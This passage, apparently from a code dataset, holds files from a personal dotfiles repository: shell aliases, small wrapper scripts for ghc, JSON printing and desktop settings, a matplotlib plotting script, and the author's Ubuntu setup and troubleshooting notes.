--require-sandbox'\nalias cabal-deps='echo >&2 \"No longer necessary. Try: cabal new-build\nFailing that, the old def was:\n cabal --require-sandbox install --dependencies-only -pj\"; false'\n\n# plz stop making me scroll through tons of noise to find error messages kthx\nalias context='context --nostatistics'\n\n# reduce likelihood of me ever accidentally typing `make -j` again\nalias make='make -j4'\n# disable X11 gui (never mind, this has been upgraded to ~/bin status)\n# alias emacs='emacs -nw'\n\nalias min='vim -u NONE'\n\nalias biggest='du -s $(\\ls -A) | sort -g | tail -n10'\n\n# 1. Make a replacement for one of the most frequently used\n# unix commands in existence\n# 2. Give it the most uncomfortable name possible to type\n# on an american keyboard\n# 3. ???\n# 4. Profit\n#\n# (this could hurt us; it's not strictly a drop-in)\nif callable exa; then alias ls=exa; fi\n\n# NOTE: swap has been upgraded to a script\n\n# no more.\n# please. no more.\nif callable sane-cp; then alias cp=sane-cp; fi\nif callable sane-mv; then alias mv=sane-mv; fi\nif callable trash; then\n\talias rm='echo >&2 \"rm disabled, use can or /usr/bin/rm\"; false'\n\talias can=trash\n\t# why oh why is restore-trash interactive?! :/\n\t# 2018-02-13: It's now obvious to me that this is because multiple deleted\n\t# files may have the same path. That said, I can think of many\n\t# ways to make the experience less of a chore. It's on github\n\t# (https://github.com/andreafrancia/trash-cli), written in\n\t# python, and very tempting to fork...\n\t# NOTE: name changed at some point\n\tcallable restore-trash && alias uncan=restore-trash # old\n\tcallable trash-restore && alias uncan=trash-restore # new\nfi\n\n# https://twitter.com/liamosaur/status/506975850596536320\nalias fuck='sudo $(history -p \\!\\!)'\nalias please='sudo $(history -p \\!\\!)'\nalias fucking=sudo\n\n# So it turns out that simply invoking `unity` -- without arguments! -- will\n# kill your entire session immediately and without question.\n#\n# The man page for unity seems to suggest that the default behavior used\n# to be far more reasonable:\n#\n# --replace\n# Deprecated option for backwards compatibility. Has no effect.\n#\nalias unity='echo >&2 \"Disabled. (use /usr/bin/unity if you truly are a madman)\"; false'\n\n# I've gotten spoiled by reasonable people reasonably packing a single\n# reasonable directory into a .tar file, and, as a result, I have on more\n# than one occassion accidentally permitted a .zip file to unreasonably\n# dump 500 files all over my lawn.\nif callable unzip2dir; then\n\talias unzip='echo >&2 \"Disabled. (Use unzip2dir or /usr/bin/unzip)\"; false'\nfi\n\n# CAPS WHY\nif callable PCSX2 && ! callable pcsx2; then alias pcsx2=PCSX2; fi\n# and i can't even spell it anyways\nif callable pcsx2 && ! callable ps2; then alias ps2=pcsx2; fi\n\nif callable pacdiff; then\n\t# pacdiff diffprog that downloads the old version and uses a threeway diff.\n\t# It's unsuitable for other usages of DIFFPROG, so we use an alias with env.\n\talias pacdiff='DIFFPROG=_pacdiff-diffprog-ukhippo pacdiff'\nfi\n\ncallable pacman && alias arch-orphans='pacman -Qtdq'\n\n# Not done automatically on Arch.\n# (seems \"ls\" is colorized even without having done this; but it does affect \"tree\")\n[ \"x$LS_COLORS\" == x ] && callable dircolors && eval \"$(dircolors --sh)\"\n\n# sudoedit uses this\nexport EDITOR=vim\n\n# I don't think setting this in bashrc is a terrible idea.\n# ...it isn't a terrible idea, right?!\nexport OMP_NUM_THREADS=4\n\nif [ -e $HOME/asd/manage/pyenv ]; then\n # pyenv startup part 2: The part that actually belongs in .bashrc\n eval \"$(pyenv init -)\"\n eval \"$(pyenv virtualenv-init -)\"\n\n # _pyenv_virtualenv_hook makes the shell absurdly slow so get rid of it\n # https://github.com/pyenv/pyenv-virtualenv/issues/259\n #\n if [[ -n $ZSH_VERSION ]]; then\n autoload -Uz add-zsh-hook\n add-zsh-hook -D precmd _pyenv_virtualenv_hook\n fi\n if [[ -n $BASH_VERSION ]]; then\n PROMPT_COMMAND=\"${PROMPT_COMMAND/_pyenv_virtualenv_hook;/}\"\n fi\n\n # Unloading those hooks broke `pyenv activate/deactivate`. We have a replacement.\n # (which is basically 'pyenv shell', followed by calling '<env dir>/bin/activate'\n # to make sure any scripts from packages (like gpaw) are loaded onto PATH)\n alias pyenv-use='. _pyenv-use_impl'\nfi\n\n#----------------------------------------------\n\n" }, { "alpha_fraction": 0.681130588054657, "alphanum_fraction": 0.6886942386627197, "avg_line_length": 37.06060791015625, "blob_id": "fd05ce78cb25f6e263d88732519e74a6a285fac6", "content_id": "6de8bdeefd322d4dfd986ddbbdb7e93ac35ebf6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2512, "license_type": "no_license", "max_line_length": 72, "num_lines": 66, "path": "/bin/_ghcwrap", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# vim: ft=sh\n\n# NOT MEANT TO BE EXECUTABLE; SOURCE THIS SCRIPT INSTEAD\n# (see instructions below on environment vars used)\n\n# This splits a list of arguments at the first '--' and passes\n# the first half into ghc and the second half into another program.\n\n# Technically this script has very little to do with ghc specifically\n# and can be generalized, but when I began doing so I found myself\n# floundering over the documentation and worrying about things like\n# conflicts between recursive invocations (between multiple unrelated\n# wrappers which both happen to source this script), and the fact that\n# in some cases it may be desirable to be able to forward the first '--'\n# to the first program (replacing ghc). (This is definitely not the case\n# in ghc which seems to interpret '--' as an (invalid) short option\n# ('ghc: unrecognised flags: --'))\n\n# This expects to be sourced with the following env vars set:\n# GHCWRAP_PROG: basename of calling script (for usage message)\n# GHCWRAP_USAGE: usage message\n# GHCWRAP_GHC_ARGS: bash array of arguments to run ghc\n# GHCWRAP_RUN_ARGS: bash array of arguments to run compiled program\n# GHCWRAP_POST_ARGS: bash array of arguments for running a third program\n# after the previous two succeed. If empty, this is skipped.\n# GHCWRAP_INPUT_ARGS: bash array of args to parse (most likely (\"$@\"))\n\nno_name_collisions_plox_62uM0oKlZLSQ() {\n\tif ! [[ $GHCWRAP_PROG ]]; then\n\t\techo >&2 $0: \"This is not meant to be called directly.\"\n\t\techo >&2 $0: \"Please call the 'ghc*' wrappers instead.\"\n\t\treturn 1\n\tfi\n\n\tif [[ $# -eq 0 ]]; then\n\t\techo >&2 \"Usage: $GHCWRAP_PROG GHC_ARGS... [-- PROGRAM_ARGS...]\"\n\t\techo >&2 \"$GHCWRAP_USAGE\"\n\t\treturn 1\n\tfi\n\n\tlocal ghc_args=(\"${GHCWRAP_GHC_ARGS[@]}\")\n\tlocal run_args=(\"${GHCWRAP_RUN_ARGS[@]}\")\n\tlocal post_args=(\"${GHCWRAP_POST_ARGS[@]}\")\n\n\t# NOTE: This is a bit overzealous; '--' is usually a legitimate value\n\t# for an option argument, so we prevent a small number of otherwise\n\t# valid options such as 'ghc -hidir --'.\n\t# Perfect argument forwarding would require recreating all of GHC's\n\t# option parsing syntax. Soyeahno.\n\twhile [[ $# -gt 0 && \"$1\" != -- ]]; do\n\t\tghc_args+=(\"$1\")\n\t\tshift\n\tdone\n\tif [[ \"$1\" == -- ]]; then\n\t\tshift\n\tfi\n\trun_args+=(\"$@\")\n\n\t# Let post_args default to a no-op (the shell builtin \":\")\n\t: ${post_args:=:}\n\n\t\"${ghc_args[@]}\" && \"${run_args[@]}\" && \"${post_args[@]}\"\n}\n\nno_name_collisions_plox_62uM0oKlZLSQ \"${GHCWRAP_INPUT_ARGS[@]}\"\n# don't bother with 'unset -f'; then we'd have to save the error code!\n" }, { "alpha_fraction": 0.6759425401687622, "alphanum_fraction": 0.6822262406349182, "avg_line_length": 30.828571319580078, "blob_id": "cbe5a138632e88d6752f0ec1f6c6bb11745409ea", "content_id": "974747ee19648ecd93d97aedd4d400a00363c0ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1114, "license_type": "no_license", "max_line_length": 92, "num_lines": 35, "path": "/bin/json", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Wrapper around underscore-cli to switch between 'underscore print' and 'underscore pretty'\n# based on isatty.\n\nif ! which underscore >/dev/null 2>/dev/null ; then\n # let's take this chance to remind the user (a.k.a. me) that json-diff exists\n # so that he doesn't later find himself without it during the morning commute\n echo >&2 \"Please install underscore-cli. Also maybe check out json-diff too.\"\n echo >&2 \" npm install -g underscore-cli json-diff\"\n exit 1\nfi\n\n# Ideally we would have a --pretty={never|always|AUTO} option,\n# but adding that would require reparsing all of underscore's options.\n#\n# So balls to that; auto it is.\n__JSON_OPT_PRETTY=auto\n\n# 'underscore print' and 'underscore pretty' conveniently\n# support precisely the same set of CLI args\n# so we can just swap em out\nif [ \"$__JSON_OPT_PRETTY\" == always ]; then\n mode=pretty\nelif [ \"$__JSON_OPT_PRETTY\" == never ]; then\n mode=print\nelif [ \"$__JSON_OPT_PRETTY\" == auto ]; then\n mode=print\n [ -t 1 ] && mode=pretty\nelse\n echo >&2 \"Bad argument for --pretty\"\n exit 1\nfi\n\nunderscore $mode \"$@\"\n" }, { "alpha_fraction": 0.6162473559379578, "alphanum_fraction": 0.6274628639221191, "avg_line_length": 25.813007354736328, "blob_id": "d803190d5af20d71b0f5bd27534fa061648d9996", "content_id": "1ae9c2cf41a15cfdc3f4e9678182edf4ef7f533e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3299, "license_type": "no_license", "max_line_length": 85, "num_lines": 123, "path": "/bin/vm-mode", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# 2017\n# vm-mode: Disable various personal customizations for the professor\n\n# all in a function to minimize impact on environment vars and to\n# guarantee that \"return\" works. (a sourced script must not use 'exit'!)\n__vm_mode__impl() {\n\tif [[ \"$0\" != \"bash\" ]]; then\n\t\techo \"This script should be sourced instead\"\n\t\treturn 1\n\tfi\n\n\tlocal temp=`getopt -o h -- \"$@\"`\n\tif [ $? != 0 ] ; then echo >&2 \"Terminating...\" ; return 1 ; fi\n\teval set -- \"$temp\"\n\twhile true ; do\n\t\tcase \"$1\" in\n\t\t\t-h) shift; echo >&2 \"usage: vm-mode [vm|ml]\"; return 1;;\n\t\t\t--) shift; break;;\n\t\t\t*) echo >&2 \"We dun goofed! qHoEiEKvLe\"; return 1;;\n\t\tesac\n\tdone\n\n\tlocal mode=\"\"\n\twhile [[ $1 ]] ; do\n\t\tcase \"$1\" in\n\t\t\tml|vm) mode=$1;;\n\t\t\t*) echo >&2 \"Bad argument: '$1'\"; return 1;;\n\t\tesac\n\t\tshift\n\tdone\n\t# bah, forget about alternating modes just now; they're a horrible idea\n\t# since some changes are console-local and others are more at a global level.\n\t# Let's just always require a mode to be specified.\n\tif ! [[ $mode ]]; then\n\t\techo >&2 \"Please specify a mode (vm, ml).\"\n\t\treturn 1\n\tfi\n\n\tlocal ml_dot_emacs=$(readlink -f \"$HOME/.emacs.spacemacs.d\")\n\tlocal vm_dot_emacs=$(readlink -f \"$HOME/.emacs.standard.d\")\n\n\tlocal cur_dot_emacs=$(readlink -f $HOME/.emacs.d)\n\n\tcase \"$mode\" in\n\t\tml) echo \"== Entering ML mode ==\";;\n\t\tvm) echo \"== Entering VM mode ==\";;\n\t\t*) echo >&2 \"We dun goofed! Fa4D2mSXlD\"; return 1;;\n\tesac\n\n\tcase \"$mode\" in\n\t\tml) echo \"Readline mode: vi\";\n\t\t set -o vi || return 1;\n\t\t;;\n\t\tvm) echo \"Readline mode: emacs\";\n\t\t set -o emacs || return 1;\n\t\t;;\n\tesac\n\n\t# kill existing symlink\n\t[[ -L $HOME/.emacs.d ]] && { /bin/rm -f $HOME/.emacs.d || return 1; }\n\tif [[ -e $HOME/.emacs.d ]]; then\n\t\techo \"emacs: (not a symlink!)\";\n\telse\n\t\tcase \"$mode\" in\n\t\t\tml) echo \"emacs: spacemacs\";\n\t\t\t ln -s $ml_dot_emacs $HOME/.emacs.d || return 1;\n\t\t\t;;\n\t\t\tvm) echo \"emacs: normal\";\n\t\t\t ln -s $vm_dot_emacs $HOME/.emacs.d || return 1;\n\t\t\t;;\n\t\tesac\n\tfi\n\n\tdeclare -A choice\n\tlocal prefix suffix\n\tcase \"$(__vm_mode__guess_touchpad_method)\" in\n\t\txinput)\n\t\t\tprefix=(xinput)\n\t\t\tchoice[ml]=disable\n\t\t\tchoice[vm]=enable\n\t\t\tsuffix=('SynPS/2 Synaptics TouchPad')\n\t\t\t;;\n\t\tgsettings)\n\t\t\tprefix=(gsettings set)\n\t\t\tprefix+=(org.gnome.desktop.peripherals.touchpad) # schema\n\t\t\tprefix+=(send-events) # key\n\t\t\tchoice[ml]=disabled\n\t\t\tchoice[vm]=enabled\n\t\t\tsuffix=()\n\t\t\t;;\n\t\t*) echo >&2 \"We dun goofed! WF4gjiof\"; return 1;;\n\tesac\n\tcase \"$mode\" in\n\t\tml) echo \"touchpad: off\"; ;;\n\t\tvm) echo \"touchpad: on\"; ;;\n\tesac\n\t\"${prefix[@]}\" \"${choice[$mode]}\" \"${suffix[@]}\" || return 1;\n\n\tcase \"$mode\" in\n\t\tml) echo \"Ctrl+Fn: flipped\";;\n\t\tvm) echo \"Ctrl+Fn: still flipped (sorry)\";;\n\tesac\n}\n\n__vm_mode__guess_touchpad_method() {\n\t# In ubuntu there seems to be some background service that periodically checks\n\t# a setting in gsettings and forcibly enables/disables the touchpad, preventing\n\t# us from reliably controlling it via xinput.\n\t# Since I'm not sure what the culprit is, the following is just a heuristic to guess\n\t# if we're in such an affected environment.\n\n\t# The following dconf path is populated on ubuntu, but not on Arch + KDE Plasma:\n\tif which dconf >/dev/null 2>/dev/null \\\n\t&& [[ $(dconf dump /org/gnome/desktop/wm/keybindings/) ]]; then\n\t\techo gsettings\n\telse\n\t\techo xinput\n\tfi\n}\n\n__vm_mode__impl \"$@\"\n\n" }, { "alpha_fraction": 0.6748442649841309, "alphanum_fraction": 0.6857476830482483, "avg_line_length": 29.21176528930664, "blob_id": "0c0db1d640b46543b41007116334303a373560dc", "content_id": "407d1a78422ef662a2107c23e2d55d0ac35fa297", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2568, "license_type": "no_license", "max_line_length": 89, "num_lines": 85, "path": "/bin/plot", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# Version 2:\n# Allow multiple y columns and piping from stdin\n# Version 3 (2015-11-10):\n# Add --subplot and --output as a (rather reprehensible) form of\n# quick and dirty plot gen\n# Version 4 (2015-11-24):\n# Allow multiple input files, which I was trying to avoid because it introduces a\n# bunch of dumb design questions such as \"what if the files have different delimiters\"\n# (to which the correct answer is: \"we don't support that\") how could we This, whi\n\nimport argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport warnings\nimport sys\n\ndef main():\n\tparser = argparse.ArgumentParser(description='Plot columnated data')\n\tparser.add_argument('-F', default=None, # default for str.format\n\t\ttype=str, help='set field delimiter')\n\tparser.add_argument('--subplot','-s',action='append',default=[],\n\t\thelp='subplot keyword arguments in the form name=python_expr')\n\tparser.add_argument('--output','-o',\n\t\thelp='save figure to a file. Default is to display it instead.')\n\tparser.add_argument('--dots',action='store_true',\n\t\thelp='mark data points')\n\tparser.add_argument('INFILE', nargs='*', type=argparse.FileType('r'),\n\t\tdefault=[sys.stdin], help='input file, default to STDIN when piped')\n\targs = parser.parse_args()\n\n\t# no file argument and nothing piped\n\tif (args.INFILE is sys.stdin) and sys.stdin.isatty():\n\t\tparser.error('No input provided!')\n\n\tsubplot_kw = {}\n\tfor s in args.subplot:\n\t\tleft,right = s.split('=',1)\n\t\tsubplot_kw[left] = eval(right) # *wince*\n\n\tfig, ax = plt.subplots(subplot_kw=subplot_kw)\n\n\tfor f in args.INFILE:\n\t\tx, *ys = read_columns(f, args.F, diefunc=parser.error)\n\n\t\tfor i,y in enumerate(ys):\n\t\t\tsty = '-o' if args.dots else '-'\n\t\t\tax.plot(x, y, sty, label='column %s'%(i+2,))\n\n\t\tif len(ys) > 1:\n\t\t\tax.legend()\n\n\tif args.output:\n\t\tfig.savefig(args.output)\n\telse:\n\t\tplt.show()\n\n# FIXME get rid of this, now that I know that ``numpy.loadtxt`` exists\ndef read_columns(f, fieldsep, diefunc):\n\t# Handle most of the parsing with a simple generator that\n\t# produces lists of floats for each row of data\n\tdef inner():\n\t\tfor line in f:\n\t\t\tline = line.strip()\n\t\t\tif not line:\n\t\t\t\tcontinue\n\t\t\tstrs = line.split(fieldsep)\n\t\t\tyield list(map(float, strs))\n\n\trows = list(inner())\n\tif not rows:\n\t\tdiefunc('Input data was empty!')\n\t\treturn []\n\n\tlen0 = len(rows[0])\n\tassert len0 > 0, \"Empty lines were skipped\"\n\tif not all(len(x)==len0 for x in rows):\n\t\twarnings.warn('Mismatched row lengths! Incomplete columns will be ignored')\n\n\tcols = list(zip(*rows))\n\treturn cols\n\nif __name__ == '__main__':\n\tmain()\n" }, { "alpha_fraction": 0.6874609589576721, "alphanum_fraction": 0.7116035223007202, "avg_line_length": 37.68419647216797, "blob_id": "d6c0a6dcc00a092d0d96476375a4f6c24aa3669f", "content_id": "05e73bd3cb8bc141500963b5422746141c5b2458", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 155443, "license_type": "no_license", "max_line_length": 970, "num_lines": 4012, "path": "/notes/notes.md", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "\n# What is this file?\n\nThis file is a list of notes I've compiled on various issues that I have encountered either on\nmy personal machines (most of which use Ubuntu) or on other computing resources available to me.\nThe general goal is that, after a new installation of the OS,\nif I encounter an issue that I know I have encountered before,\nthen I can look in here (searching for a couple of keywords that I think I might have used)\nto find out what I did.\n\nIt also has various random other nonsense.\n\n<!-- ----------------------------->\n# Words I keep forgetting\n\n- **2017-08-14:** pathological\n\n<!-- ----------------------------->\n# Critical things to do after installing Ubuntu\n\n**Last update: 2016-08-11**\n\nThis section is a laundry list of tasks that should be done ASAP after installing,\nbecause the repercussions of not doing so can be painful.\n\nAll of these already have sections in the text below,\nso I'll just put down enough info to locate those sections via search.\n\n * Re-enable REISUB!!!! (this already has a section below; search for REISUB)\n * Make sure Ctrl+Alt+F2 works (if not there is a section on nomodeset...)\n * Disable useless splash screens that obscure useful info on boot/shutdown.\n - /etc/default/grub, get rid of \"quiet splash\", `sudo update-grub`.\n * Install massive dependency trees ahead of time:\n - must first edit /etc/apt/sources.list and uncomment the deb-src lines\n - texlive (and texlive-latex-extra, and texlive-math-extra...)\n - KDE libraries (try kate or kdiff3)\n - 32bit libraries (try wine, maybe, though the version available might be kinda old;\n unfortunately \"build-dep wine\" isn't enough :/)\n - pip(3,) install pylab (includes just about every python package and its mother)\n - libgtk2.0-dev\n - npm and node.js\n\n## Other essential packages to grab\n\nVarous things you need in order to help get the rest of the things you need\n\n vim python-pip python3-pip git\n (from website, not repo) google chrome\n\nNOTICE: the pip from the canonical repos now installs to user folders (no sudo!)\n\n## Awkward build deps\n\nBuild dependencies that are either very painful to miss the first time around\n(because lots of stuff must be rebuilt due to e.g. poor build process),\nor that only count as warnings when they are missing (when they should probably be more)\n\n * pylab\n This one is funny because `pip install pylab` automatically includes `pillow`... but pylab\n apparently doesn't *depend* on `pillow`, because pylab installs successfully even if pillow\n doesn't. But I'd rather not take my chances\n - libjpeg-dev\n (added August 11 2016; even a pip install requires these):\n - libpng<VER>-dev\n - libfreetype<VER>-dev\n\n * matplotlib\n - `sudo apt-get install libffi-dev`\n - `sudo pip install cairocffi`\n - `sudo pip3 install cairocffi`\n\n\n * wine\n - `sudo apt-get build-dep wine`\n - `sudo apt-get install libgstreamer-plugins-base1.0-dev`\n - When running wine's 'configure', you should see messages near the end like\n\n configure: pcap development files not found, wpcap won't be supported.\n configure: libhal development files not found, no legacy dynamic device support.\n\n configure: Finished. Do 'make' to compile Wine.\n\n - If you see anything more serious that is missing, consider getting that dep, too.\n\nlibgstreamer-plugins-base0.10-dev\n(FIXME I forget why I wrote that here, but notice the version differs subtly\n from the above apt-get command, so it was probably about some mistake that's easy to make)\n\n<!-- ----------------------------->\n# It's lxc, dude\n\n> Ohhhhh what was the name of that thing I used to use when I was\n trying to build 32-bit executables for wine and Dwarf Therapist\n\nIt's lxc.\n\n```sh\nsudo lxc-create -t ubuntu -n my32bitbox -- --bindhome $LOGNAME -a i386 --release trusty\n```\n\n<!-- ----------------------------->\n# CTAGS and the tagbar\n\n**Installing CTAGS:** get package `exuberant-ctags`\n\n**Installing TagBar:**\n\n cd downloads\n vim tagbar.vba\n :so %\n :q\n\n**Setting up keybind, move to left side, disable sorting:**\n\nAdd to '~/.vimrc':\n\n```vim\nnmap <F8> :TagbarToggle<CR>\nlet g:tagbar_left = 1\nlet g:tagbar_sort = 0\n```\n\n<!-- ----------------------------->\n# Backups\n\n(**As of 2016-08-11**)\n\nThere's a readme in `~/scripts/other/backup` but it has a lot of text,\nand seems to be geared more towards configuring it for a new setup\n(rather than recovering my old setup)\n\nI think in summary:\n\n```sh\n# NOTE: must symlink; I was dumb when I wrote it and it does\n# a \"readlink\" to find its true directory.\nln -s ~/scripts/other/backup/bin/back-me-up ~/bin\ncd ~/scripts/other/backup\nyes | sudo apt-get install rsnapshot rsync anacron\nsudo mkdir -p /etc/cron.{monthly,weekly}\nsudo cp etc/cron.monthly/* /etc/cron.monthly\nsudo cp etc/cron.weekly/* /etc/cron.weekly\n\n# compare and \"pull\" upstream changes before overwriting!\nvimdiff {/,}etc/rsnapshot.conf\n```\n\nHere's a bit of text to stand stand as a barrier against blind\ncopying-and-pasting, yay!\n\n```\nsudo cp {,/}etc/rsnapshot.conf\n```\n\n**!!! IMPORTANT !!!**\n\nIf you just reinstalled the OS then MAKE YOUR FINAL BACKUP PERMANENT!\n(otherwise you can't trust it to survive even to a \"weekly\")\n\nThis capability is NOT provided by my script (or rsnapshot in general).\nBest solution I can think of is to make a hard-link copy manually with\nthe following command: (assuming daily.0 is the most recent backup)\n\n```\nsudo rsync -a --link-dest=../daily.0 daily.0/ eternal.USEFUL-NAME-HERE\n```\n\n(note: locations of trailing slashes very important. Also, for some absolutely\n bizarre fucking reason, --link-dest is relative to the destination)\n\n<!-- ----------------------------->\n# flashplugin installer (OUTDATED)\n\n(**As of 2016-08-11**)\n\nIn brief:\n\n * You USED to use a PPA with a package called `flashplugin-installer`.\n This was because there was no official 64-bit package at the time.\n * Now, an official package DOES exist; you now use `adobe-flashplugin`,\n from the `partner` repo.\n\n(**As of 2021-07-24**)\n\nlmao rip flash\n\n<!-- ----------------------------->\n# Other vim plugins and config (OUTDATED)\n\n(**As of 2014-09-30**)\n\n**NOTE 2016-08-11: DON'T BOTHER WITH THIS ANY MORE**\n\nActually, since Ubuntu has no ~/.vimrc by default, you can easily\njust symlink the version saved here in the scripts directory.\n\n*.vim files can be found in the 'downloads' subfolder and symlinked\ninto ~/.vim/plugin\n\nTo symlink all of the .vim files:\n\n```sh\nln -s -t ~/.vim/plugin/ ~/scripts/setup-notes/downloads/*.vim\n```\n\n<!-- ----------------------------->\n# RPI VPN\n\n**packages:** `openconnect vpnc-scripts`\n\nCheck old `~/bin` folder for script.\nIf missing, the following should do:\n\n```sh\n#!/bin/bash\nsudo openconnect vpn.net.rpi.edu\n```\n\nNOTE: An older version of the script included a --script option:\n\n```sh\nsudo openconnect --script=/etc/vpnc/vpnc-script vpn.net.rpi.edu\n```\n\nThis script does not appear to exist at this location in Ubuntu,\nand specifying its location no longer appears necessary.\n\n<!-- ----------------------------->\n# Deleting to trash\n\n**packages:** `trash-cli`\n\nAliases are defined in my shell dotfiles.\n\n# Thinkpad not entering sleep mode\n\nThere is an issue with the Intel e1000e driver not enjoying being suspended when it\nis already suspended (or something like that).\n\nCreate a symlink to `scripts/data/50_E1000E_FIX` in `/etc/pm`.\n\n<!-- ----------------------------->\n# 32-bit and 64-bit libs\n\n(2014-12)\n\nWhen manually compiling an application and building separate libs for 32 bit and 64 bit, you can't put them both in /usr/local/lib. Instead, make some directories for this purpose: /usr/local/lib32 and /usr/local/lib64.\n\nMessing around with the `hello` package, I think I found the most important options to pass to ./configure:\n\n```sh\n# 32-bit\n./configure --libdir=/usr/local/lib32 \"CFLAGS=-m32\" \"CXXFLAGS=-m32\" \"LDFLAGS=-m32\"\n# 64-bit\n./configure --libdir=/usr/local/lib64\n```\n\nA lot of sources mention using the --build flag, but I'm not quite sure what that does.\nIt had no visible impact on the results of `make`.\n\nTo make the system search these directories for libraries at linking and runtime, add a file to /etc/ld.so.conf.d.\n\n**`/etc/ld.so.conf.d/CUSTOM_local_biarch`**\n\n```\n# Biarch directories for manually built libraries\n/usr/local/lib32\n/usr/local/lib64\n```\n\n<!-- ----------------------------->\n# Building GLC (OUTDATED)\n\n<details>\n<summary>Old contents</summary>\n\n(**section added Dec 2014**)\n\nGLC is a program for capturing game video and audio. I had trouble getting the install script [https://github.com/nullkey/glc/raw/master/scripts/glc-build.sh] to find my 32 bit libraries, so here is how I built it manually.\n\nUPDATE: So it turns out glc can be built in 64 bit perfectly fine. I had feared it wouldn't since glc-build.sh always does a 32-bit build. Of course, for that very reason, you can't use the script to do it, and so you still need to build it manually. You may skip the commands tagged \"(32-bit build only)\".\n\n* Since I don't know much about cmake, I use some hacky tricks to do things that would typically be accomplished by passing flags to ./configure. I use the CFLAGS environment variable to get elfhacks built in 32-bit:\n\n ```sh\n # (32-bit build only)\n export CFLAGS=-m32\n ```\n\n* Get elfhacks and build:\n\n ```sh\n git clone https://github.com/nullkey/elfhacks.git\n cd elfhacks\n cmake . && make\n ``\n\n* Note you can verify that the library is 32-bit or 64-bit with the file command:\n\n ```sh\n file src/libelfhacks.so.0.4.1\n ```\n\n* Another dependency, `packetstream`, is built the same way.\n\n ```sh\n cd ..\n git clone https://github.com/nullkey/packetstream.git\n cd packetstream\n cmake . && make\n cd ..\n ```\n\n* There is yet another dependency, `glc-support`, but this one is meant to be symlinked into - and built as part of - `glc`. Get both `glc-support` and `glc`:\n\n ```sh\n git clone https://github.com/nullkey/glc.git\n git clone https://github.com/nullkey/glc-support.git\n cd glc && ln -sf ../glc-support ./support && cd ..\n ```\n\n* It will require zconf.h to build. zconf.h is in an architecture-qualified directory, but currently Ubuntu has no i386 version for for it. The x86_64 version seems to work fine.\n\n ```sh\n # (32-bit build only)\n ln -s /usr/include/x86_64-linux-gnu/zconf.h /usr/include\n ```\n\n* I don't use `make install` because IIRC that will put things in `/usr/local/lib`, ignoring the architecture.\n* We can manually install the libs by copying the files and links.\n\n ```sh\n # (32-bit build only)\n export GLC_LIB_DIR=/usr/local/lib32/\n mkdir -p $GLC_LIB_DIR\n cp -Pit $GLC_LIB_DIR elfhacks/src/libelfhacks.so* packetstream/src/libpacketstream.so*\n\n # (64-bit build only)\n export GLC_LIB_DIR=/usr/local/lib64/\n mkdir -p $GLC_LIB_DIR\n cp -Pit $GLC_LIB_DIR elfhacks/src/libelfhacks.so* packetstream/src/libpacketstream.so*\n ```\n\n* Some symlinks (namely, ones with no version number) are oddly missing from the 32-bit versions of the multiarch libs. Make symlinks to mirror the x86_64 ones:\n\n ```sh\n # (32-bit only)\n pushd /usr/lib/i386-linux-gnu\n sudo ln -s libpng12.so.0 libpng12.so\n sudo ln -s libpng12.so libpng.so\n sudo ln -s mesa/libGL.so.1 mesa/libGL.so\n sudo ln -s libXxf86vm.so.1 libXxf86vm.so\n sudo ln -s libX11.so.6 libX11.so\n sudo ln -s libasound.so.2 libasound.so\n popd\n ```\n\n* It also won't find libGL due to being in a subfolder. We can modify ld.so.conf to include it, or we can symlink the library in a path that's already searched. My preference:\n\n ```sh\n # (32-bit only)\n sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so /usr/local/lib32/libGL.so\n ```\n\n* Now we may build.\n\n ```sh\n cd glc\n cmake -DELFHACKS_LIBRARY=$GLC_LIB_DIR/libelfhacks.so -DPACKETSTREAM_LIBRARY=$GLC_LIB_DIR/libpacketstream.so -DELFHACKS_INCLUDE_DIR=../elfhacks/src -DPACKETSTREAM_INCLUDE_DIR=../packetstream/src .\n make\n ```\n\n* Manually install libs and binaries\n\n ```sh\n # (32-bit)\n sudo cp -Pit $GLC_LIB_DIR src/glc/lib*.so* src/hook/lib*.so*\n sudo cp -i src/glc-capture /usr/local/bin/glc-capture32\n\n # (64-bit)\n sudo cp -Pit $GLC_LIB_DIR src/glc/lib*.so* src/hook/lib*.so*\n sudo cp -i src/glc-capture /usr/local/bin/glc-capture64\n sudo cp -i src/glc-play /usr/local/bin/glc-play\n ```\n\n (I don't think there's any reason to keep around an x86 version of glc-play,\n hence why the instructions above don't install it.\n glc-capture is another story, since it hooks directly into your game, and\n so you must use the version corresponding to the game's architecture)\n\n</details>\n\n(UPDATE 2021-07-24): why would you ever use anything other than OBS lol\n\n<!-- ----------------------------->\n# trying to get smooth video\n\n**(2015-01-13)**\n\n(tl;dr: video issues? try a different driver)\n\nWanted to play Touhou but was devastated by 'microstuttering'. The game\nwould run perfectly except for an *almost imperceptible jump* that would\noccur about once or twice per second. It's the kind of situation that\ncan make one go mad, wondering if things *really are* off or if maybe\nyou've just convinced yourself they are.\n\n(good test animations for stuttering can be found at http://testufo.com .\n Comparing this site on linux to windows made the stuttering very obvious)\n\n## **Some things I tried that DID NOT WORK:**\n - Using xrandr to switch to resolutions with refresh rates closer to 60.\n (frustratingly, this did have *some* effect, but not enough!)\n - Disabled ccsm > OpenGL > Sync To VBlank\n - `dconf write /org/compiz/profiles/unity/plugins/composite/refresh-rate \"60\"`\n - Enabled ccsm > Workarounds > Legacy Fullscreen Support\n - Tried GNOME Fallback with Metacity (No Compiz). No dice.\n\n## Actual success\n - **_Uninstalling `nvidia-331` and using `nouveau` fixed the issue!_**\n\n - One thing to note: When I uninstalled nvidia-331, nouveau was already\n installed, so I logged out, and instead of lightdm, I was greeted with\n some menu for troubleshooting video problems in a low graphics mode.\n I selected an option that purportedly \"recovered\" some config files and\n was dropped into blank terminal, from which I switched to tty2, logged 